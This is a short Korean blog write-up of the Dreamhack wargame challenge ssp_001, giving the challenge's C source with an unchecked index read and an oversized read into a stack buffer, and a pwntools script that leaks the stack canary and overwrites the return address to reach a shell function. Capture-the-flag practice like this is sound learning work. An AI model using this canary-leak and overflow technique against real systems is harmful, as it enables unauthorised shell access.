[Dreamhack] ssp_001

김성진·2022년 7월 19일
0

Dreamhack_System

목록 보기
39/44
post-thumbnail

📒 Description


📒 C code

📖 ssp_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

호오 ...
첫 번째로 P에서 범위 확인을 하지 않기에, 원하는 idx의 값을 출력받을 수 있다.
두 번째로 E에서는 name 보다 큰 사이즈를 name_len 만큼 받아 BOF를 발생시킬 수 있다.
Canary를 leak하고 RET를 get_shell로 덮으면 문제는 풀리겠다.


📒 Exploit

📖 exploit.py

from pwn import *
r = remote('host3.dreamhack.games', 12018)

sla = r.sendlineafter
sa = r.sendafter

def print_box(idx):
    sla('> ', 'P')
    sla('Element index : ', str(idx))

def Exit(name_len, name):
    sla('> ', 'E')
    sla('Name Size : ', str(name_len))
    sa('Name : ', name)

get_shell_addr = 0x80486b9
canary = 0
for idx in range(0x80, 0x84):
    print_box(idx)
    canary += (int(r.recvline()[-3:-1], 16) << ((idx - 0x80) * 8))

Exit(0x50, b'a' * 0x40 + p32(canary) + b'a' * 8 + p32(get_shell_addr))

r.interactive()
profile
Today I Learned

0개의 댓글